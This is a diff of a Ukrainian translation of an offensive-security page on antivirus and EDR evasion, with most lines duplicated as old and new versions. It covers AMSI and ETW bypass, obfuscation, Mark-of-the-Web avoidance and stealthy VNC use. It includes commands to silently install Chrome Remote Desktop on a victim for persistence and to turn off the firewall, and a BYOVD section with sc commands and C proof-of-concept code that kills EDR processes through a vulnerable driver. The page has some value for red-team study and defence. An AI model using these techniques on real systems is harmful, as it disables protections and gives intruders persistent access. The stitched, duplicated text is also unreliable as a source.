> Будь ласка, прочитайте [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) для більш детального пояснення.
Існує також багато інших технік, які використовуються для обходу AMSI за допомогою PowerShell, ознайомтеся з [**цією сторінкою**](basic-powershell-for-pentesters/index.html#amsi-bypass) та [**цим репозиторієм**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), щоб дізнатися більше про них.
Існує також багато інших технік, які використовуються для обходу AMSI з PowerShell, ознайомтеся з [**цією сторінкою**](basic-powershell-for-pentesters/index.html#amsi-bypass) та [**цим репозиторієм**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), щоб дізнатися більше про них.
Цей інструмент [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) також генерує скрипт для обходу AMSI.
**Remove the detected signature**
Ви можете використовувати інструмент, такий як **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** та **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)**, щоб видалити виявлений підпис AMSI з пам'яті поточного процесу. Цей інструмент працює, скануючи пам'ять поточного процесу на наявність підпису AMSI, а потім перезаписуючи його інструкціями NOP, ефективно видаляючи його з пам'яті.
Ви можете використовувати інструмент, такий як **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** та **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)**, щоб видалити виявлений підпис AMSI з пам'яті поточного процесу. Цей інструмент працює, скануючи пам'ять поточного процесу на наявність підпису AMSI, а потім переписує його інструкціями NOP, ефективно видаляючи його з пам'яті.
**AV/EDR products that uses AMSI**
@ -219,19 +225,19 @@ PowerShell logging - це функція, яка дозволяє вам реє
## Obfuscation
> [!NOTE]
> [!TIP]
> Кілька технік обфускації покладаються на шифрування даних, що збільшить ентропію бінарного файлу, що полегшить виявлення його антивірусами та EDR. Будьте обережні з цим і, можливо, застосовуйте шифрування лише до конкретних частин вашого коду, які є чутливими або потребують приховування.
Існує кілька інструментів, які можна використовувати для **обфускації коду C# у відкритому тексті**, генерації **шаблонів метапрограмування** для компіляції бінарних файлів або **обфускації скомпільованих бінарних файлів**, таких як:
Існує кілька інструментів, які можна використовувати для **обфускації C# коду у відкритому тексті**, генерації **метапрограмних шаблонів** для компіляції бінарних файлів або **обфускації скомпільованих бінарних файлів**, таких як:
- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): Це чудовий відкритий обфускатор для .NET додатків. Він надає різні техніки захисту, такі як обфускація контролю потоку, анти-налагодження, анти-спотворення та шифрування рядків. Рекомендується, оскільки він дозволяє навіть обфускувати конкретні частини коду.
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# обфускатор**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Мета цього проекту - надати відкритий форк компіляційного пакету [LLVM](http://www.llvm.org/), здатного забезпечити підвищену безпеку програмного забезпечення через [обфускацію коду](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) та захист від спотворення.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator демонструє, як використовувати мову `C++11/14` для генерації, під час компіляції, обфускованого коду без використання будь-якого зовнішнього інструменту та без модифікації компілятора.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator демонструє, як використовувати мову `C++11/14` для генерації обфускованого коду під час компіляції без використання будь-якого зовнішнього інструменту та без модифікації компілятора.
- [**obfy**](https://github.com/fritzone/obfy): Додає шар обфускованих операцій, згенерованих за допомогою шаблонного метапрограмування C++, що ускладнить життя людині, яка хоче зламати додаток.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz - це обфускатор бінарних файлів x64, здатний обфускувати різні файли pe, включаючи: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame - це простий метаморфний кодовий двигун для довільних виконуваних файлів.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator - це детальний фреймворк обфускації коду для мов, що підтримують LLVM, з використанням ROP (програмування, орієнтованого на повернення). ROPfuscator обфускує програму на рівні асемблера, перетворюючи звичайні інструкції на ROP-ланцюги, що заважає нашому природному сприйняттю нормального контролю потоку.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator - це детальний фреймворк обфускації коду для мов, що підтримують LLVM, з використанням ROP (програмування, орієнтованого на повернення). ROPfuscator обфускує програму на рівні асемблерного коду, перетворюючи звичайні інструкції на ROP-ланцюги, що заважає нашому природному сприйняттю нормального контролю потоку.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt - це .NET PE Crypter, написаний на Nim.
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor здатний перетворювати існуючі EXE/DLL у shellcode, а потім завантажувати їх.
@ -249,14 +255,14 @@ SmartScreen в основному працює на основі репутац
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Перевірка Zone.Identifier ADS для файлу, завантаженого з Інтернету.</p></figcaption></figure>
> [!NOTE]
> [!TIP]
> Важливо зазначити, що виконувані файли, підписані **достовірним** сертифікатом підпису, **не викликають SmartScreen**.
Дуже ефективний спосіб запобігти тому, щоб ваші корисні навантаження отримали Mark of The Web, - це упакувати їх у якийсь контейнер, наприклад, ISO. Це відбувається тому, що Mark-of-the-Web (MOTW) **не може** бути застосований до **не NTFS** томів.
Дуже ефективний спосіб запобігти тому, щоб ваші корисні навантаження отримали Mark of The Web, - це упаковка їх у якийсь контейнер, наприклад, ISO. Це відбувається тому, що Mark-of-the-Web (MOTW) **не може** бути застосований до **не NTFS** томів.
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) - це інструмент, який упакує корисні навантаження в вихідні контейнери, щоб уникнути Mark-of-the-Web.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) - це інструмент, який упаковує корисні навантаження в вихідні контейнери, щоб уникнути Mark-of-the-Web.
Приклад використання:
```bash
@ -286,7 +292,7 @@ Adding file: /TotallyLegitApp.exe
## ETW
Event Tracing for Windows (ETW) - це потужний механізм ведення журналів у Windows, який дозволяє додаткам і системним компонентам **реєструвати події**. Однак його також можуть використовувати засоби безпеки для моніторингу та виявлення шкідливої діяльності.
Event Tracing for Windows (ETW) це потужний механізм ведення журналів у Windows, який дозволяє додаткам і системним компонентам **реєструвати події**. Однак його також можуть використовувати засоби безпеки для моніторингу та виявлення шкідливої діяльності.
Подібно до того, як AMSI вимкнено (обійдено), також можливо змусити функцію **`EtwEventWrite`** процесу користувацького простору повертати результат негайно, не реєструючи жодних подій. Це досягається шляхом патчування функції в пам'яті, щоб вона повертала результат негайно, ефективно вимикаючи ведення журналів ETW для цього процесу.
@ -294,15 +300,15 @@ Event Tracing for Windows (ETW) - це потужний механізм вед
## C# Assembly Reflection
Завантаження C# бінарників у пам'ять відомо вже досить давно, і це все ще дуже хороший спосіб запуску ваших інструментів після експлуатації без ризику бути спійманим AV.
Завантаження C# бінарних файлів у пам'ять відомо вже досить давно, і це все ще дуже хороший спосіб запуску ваших інструментів після експлуатації без ризику бути спійманим AV.
Оскільки payload буде завантажено безпосередньо в пам'ять, не торкаючись диска, нам потрібно буде турбуватися лише про патчування AMSI для всього процесу.
Оскільки payload буде завантажено безпосередньо в пам'ять без доступу до диска, нам потрібно буде турбуватися лише про патчування AMSI для всього процесу.
Більшість C2 фреймворків (sliver, Covenant, metasploit, CobaltStrike, Havoc тощо) вже надають можливість виконувати C# збірки безпосередньо в пам'яті, але існують різні способи зробити це:
- **Fork\&Run**
Це передбачає **створення нового жертвеного процесу**, ін'єкцію вашого шкідливого коду після експлуатації в цей новий процес, виконання вашого шкідливого коду, а коли закінчите, завершення нового процесу. Це має свої переваги та недоліки. Перевага методу fork and run полягає в тому, що виконання відбувається **ззовні** нашого процесу Beacon implant. Це означає, що якщо щось у нашій дії після експлуатації піде не так або буде спіймано, є **набагато більша ймовірність**, що наш **імплант виживе.** Недолік полягає в тому, що у вас є **більша ймовірність** бути спійманим за допомогою **поведінкових виявлень**.
Це передбачає **створення нового жертвеного процесу**, ін'єкцію вашого шкідливого коду після експлуатації в цей новий процес, виконання вашого шкідливого коду, а потім завершення нового процесу. Це має свої переваги та недоліки. Перевага методу fork and run полягає в тому, що виконання відбувається **ззовні** нашого процесу Beacon implant. Це означає, що якщо щось у нашій дії після експлуатації піде не так або буде спіймано, є **набагато більша ймовірність**, що наш **імплант виживе.** Недолік полягає в тому, що у вас є **більша ймовірність** бути спійманим за допомогою **поведінкових виявлень**.
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
@ -312,7 +318,7 @@ Event Tracing for Windows (ETW) - це потужний механізм вед
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> [!TIP]
> Якщо ви хочете дізнатися більше про завантаження C# Assembly, будь ласка, ознайомтеся з цією статтею [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) та їх InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
Ви також можете завантажувати C# збірки **з PowerShell**, ознайомтеся з [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) та [відео S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
@ -323,11 +329,11 @@ Event Tracing for Windows (ETW) - це потужний механізм вед
Дозволяючи доступ до бінарних файлів інтерпретатора та середовища на SMB-ресурсі, ви можете **виконувати довільний код на цих мовах у пам'яті** скомпрометованої машини.
Репозиторій вказує: Defender все ще сканує скрипти, але, використовуючи Go, Java, PHP тощо, ми маємо **більшу гнучкість для обходу статичних підписів**. Тестування випадкових не обфусцированих реверс-shell скриптів на цих мовах виявилося успішним.
Репозиторій вказує: Defender все ще сканує скрипти, але, використовуючи Go, Java, PHP тощо, ми маємо **більшу гнучкість для обходу статичних підписів**. Тестування з випадковими не обфусцированими реверс-shell скриптами на цих мовах виявилося успішним.
## TokenStomping
Token stomping - це техніка, яка дозволяє зловмиснику **маніпулювати токеном доступу або засобом безпеки, таким як EDR або AV**, дозволяючи зменшити його привілеї, щоб процес не завершився, але не мав дозволів на перевірку шкідливої діяльності.
Token stomping це техніка, яка дозволяє зловмиснику **маніпулювати токеном доступу або засобом безпеки, таким як EDR або AV**, дозволяючи зменшити його привілеї, щоб процес не зупинився, але не мав би дозволів на перевірку шкідливої діяльності.
Щоб запобігти цьому, Windows може **заборонити зовнішнім процесам** отримувати дескриптори токенів безпеки.
@ -335,19 +341,29 @@ Token stomping - це техніка, яка дозволяє зловмисни
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
- [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF)
## Advanced Evasion
## Використання надійного програмного забезпечення
Уникнення виявлення - це дуже складна тема, іноді потрібно враховувати багато різних джерел телеметрії в одній системі, тому практично неможливо залишатися повністю непоміченим у зрілих середовищах.
### Chrome Remote Desktop
Як описано в [**цьому блозі**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), легко просто розгорнути Chrome Remote Desktop на комп'ютері жертви, а потім використовувати його для захоплення та підтримки постійності:
1. Завантажте з https://remotedesktop.google.com/, натисніть "Налаштувати через SSH", а потім натисніть на MSI файл для Windows, щоб завантажити MSI файл.
2. Запустіть установник без відображення в жертві (потрібні права адміністратора): `msiexec /i chromeremotedesktophost.msi /qn`
3. Поверніться на сторінку Chrome Remote Desktop і натисніть далі. Майстер запитає вас про авторизацію; натисніть кнопку Авторизувати, щоб продовжити.
4. Виконайте вказаний параметр з деякими коригуваннями: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Зверніть увагу на параметр pin, який дозволяє встановити pin без використання GUI).
## Розширене ухилення
Ухилення — це дуже складна тема, іноді вам потрібно враховувати багато різних джерел телеметрії в одній системі, тому практично неможливо залишатися повністю непоміченим у зрілих середовищах.
Кожне середовище, з яким ви стикаєтеся, матиме свої власні сильні та слабкі сторони.
Я настійно рекомендую вам подивитися цю доповідь від [@ATTL4S](https://twitter.com/DaniLJ94), щоб отримати уявлення про більш просунуті техніки уникнення.
Я настійно рекомендую вам подивитися цю доповідь від [@ATTL4S](https://twitter.com/DaniLJ94), щоб отримати уявлення про більш розширені техніки ухилення.
{{#ref}}
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
{{#endref}}
Це також ще одна чудова доповідь від [@mariuszbit](https://twitter.com/mariuszbit) про Уникнення в глибині.
Це також ще одна чудова доповідь від [@mariuszbit](https://twitter.com/mariuszbit) про ухилення в глибині.
{{#ref}}
https://www.youtube.com/watch?v=IbA7Ung39o4
@ -358,7 +374,7 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
### **Перевірте, які частини Defender вважає шкідливими**
Ви можете використовувати [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), який **видалить частини бінарного файлу**, поки не **виявить, яка частина Defender** вважає шкідливою, і розділить її для вас.\
Інший інструмент, який робить **те саме** - це [**avred**](https://github.com/dobin/avred) з відкритим веб-сайтом, що пропонує послугу на [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
Інший інструмент, який робить **те саме** це [**avred**](https://github.com/dobin/avred) з відкритим веб-сайтом, що пропонує послугу на [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
### **Telnet Server**
@ -394,7 +410,7 @@ netsh advfirewall set allprofiles state off
**ПОПЕРЕДЖЕННЯ:** Щоб зберегти прихованість, ви не повинні робити кілька речей
- Не запускайте `winvnc`, якщо він вже працює, або ви викличете [вікно сповіщення](https://i.imgur.com/1SROTTl.png). перевірте, чи працює він за допомогою `tasklist | findstr winvnc`
- Не запускайте `winvnc` без `UltraVNC.ini` в тому ж каталозі, інакше відкриється [вікно конфігурації](https://i.imgur.com/rfMQWcf.png)
- Не запускайте `winvnc` без `UltraVNC.ini` в тій же директорії, інакше відкриється [вікно конфігурації](https://i.imgur.com/rfMQWcf.png)
- Не запускайте `winvnc -h` для отримання допомоги, або ви викличете [вікно сповіщення](https://i.imgur.com/oc18wcu.png)
### GreatSCT
@ -423,7 +439,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
**Поточний захисник дуже швидко завершить процес.**
### Компіляція власного реверс-шелу
### Компіляція нашого власного реверс-шелу
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
@ -574,4 +590,45 @@ https://github.com/praetorian-code/vulcan
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
## Принесіть свій вразливий драйвер (BYOVD) Вимкнення AV/EDR з простору ядра
Storm-2603 використав маленьку консольну утиліту, відому як **Antivirus Terminator**, щоб вимкнути захисти кінцевих точок перед розгортанням програм-вимагачів. Інструмент приносить свій **вразливий, але *підписаний* драйвер** і зловживає ним, щоб виконувати привілейовані операції ядра, які навіть служби AV Protected-Process-Light (PPL) не можуть заблокувати.
Ключові висновки
1. **Підписаний драйвер**: Файл, що доставляється на диск, - це `ServiceMouse.sys`, але бінарний файл - це легітимно підписаний драйвер `AToolsKrnl64.sys` з "System In-Depth Analysis Toolkit" Antiy Labs. Оскільки драйвер має дійсний підпис Microsoft, він завантажується навіть коли увімкнено Enforcement (DSE) підпису драйвера.
2. **Встановлення служби**:
```powershell
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
sc start ServiceMouse
```
Перший рядок реєструє драйвер як **сервіс ядра**, а другий запускає його, щоб `\\.\ServiceMouse` став доступним з користувацького простору.
3. **IOCTL, які надає драйвер**
| Код IOCTL | Можливість |
|-----------:|-----------------------------------------|
| `0x99000050` | Завершити довільний процес за PID (використовується для зупинки служб Defender/EDR) |
| `0x990000D0` | Видалити довільний файл на диску |
| `0x990001D0` | Вивантажити драйвер і видалити службу |
Мінімальний C доказ концепції:
```c
#include <windows.h>
int main(int argc, char **argv){
DWORD pid = strtoul(argv[1], NULL, 10);
HANDLE hDrv = CreateFileA("\\\\.\\ServiceMouse", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
DeviceIoControl(hDrv, 0x99000050, &pid, sizeof(pid), NULL, 0, NULL, NULL);
CloseHandle(hDrv);
return 0;
}
```
4. **Чому це працює**: BYOVD повністю обходить захисти режиму користувача; код, що виконується в ядрі, може відкривати *захищені* процеси, завершувати їх або втручатися в об'єкти ядра незалежно від PPL/PP, ELAM або інших функцій захисту.
Виявлення / Пом'якшення
• Увімкніть список блокування вразливих драйверів Microsoft (`HVCI`, `Smart App Control`), щоб Windows відмовився завантажувати `AToolsKrnl64.sys`.
• Моніторте створення нових *ядрових* служб і сповіщайте, коли драйвер завантажується з каталогу, доступного для запису з усього світу, або не присутній у списку дозволених.
• Слідкуйте за дескрипторами режиму користувача до користувацьких об'єктів пристроїв, за якими слідують підозрілі виклики `DeviceIoControl`.
## Посилання
- [Check Point Research Before ToolShell: Exploring Storm-2603s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
{{#include ../banners/hacktricks-training.md}}